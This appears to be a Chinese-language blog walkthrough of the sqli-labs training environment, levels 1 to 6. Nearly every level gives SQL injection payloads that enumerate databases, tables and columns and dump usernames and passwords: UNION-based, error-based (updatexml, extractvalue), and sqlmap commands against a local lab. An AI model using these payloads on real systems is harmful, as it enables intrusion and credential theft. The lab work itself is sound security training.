安装流程
SQL注入之sqli-labs环境搭建_sqlilabs环境搭建-CSDN博客
第一关(sqli手工注入步骤)
打开sqli-labs练习第一关,输入?id=1尝试查询数据库
查询可以得到id为1的数据信息。
用?id=1'和?id=1'--+判断sql语句为字符型还是数字型
可知sql语句为字符型。
查询一下表格列数
?id=1'order by 3 --+
可知表格共3列。
接下来用下列代码爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
可见数据库列表的第二列和第三列被输出出来在页面。
获取当前数据名和版本号。
?id=-1'union select 1,database(),version()--+
可知版本号为5.7.26.
接下来查询该数据库有几个表。
nformation_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可知该数据库共四个表,猜测用户信息都在users表中,在这个表下查询一下表内的各字段名称。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
可知这个表下有名为id,username,password的选项。
在这个表下查询这三项的信息。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
可以看到我们就得到了所有的登录用户名和密码。
第二关
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错信息,显示单引号双引号错误,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
第三关
输入?id=1和?id=1"时没报错,输入?id=1'时候报错了。
根据页面的报错信息猜测sql语句为单引号字符型而且有括号,所以我们需要闭合单引号且要考虑括号。
?id=1')--+
我们的猜想正确。接下来按照第一关的步骤构造代码一步步查询就好了。
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
无论是数字还是字符还是单引号都不报错。
发现输入双引号的时候出现报错需要括号。判断是双引号加括号的格式。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
构建以上代码进行注入,步骤和第三关类似。
第五关
输入数字型注入,发现无论怎么输入都显示you are in.....。而输入字符型注入则显示报错。
尝试用报错注入通过这个题目
?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
用updatexml函数成功输出了以上信息,尝试用别的报错函数extractvalue注入试试。
?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
同样得到结果信息。
第六关(使用sqlmap)
1、判断是否有注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --batch
2、查看所有数据库
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --dbs
3、查看当前使用的数据库
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --current-db
4、查看数据表
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security --tables
5、查看列名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users --columns
6、查看数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users -C id,password,username --dump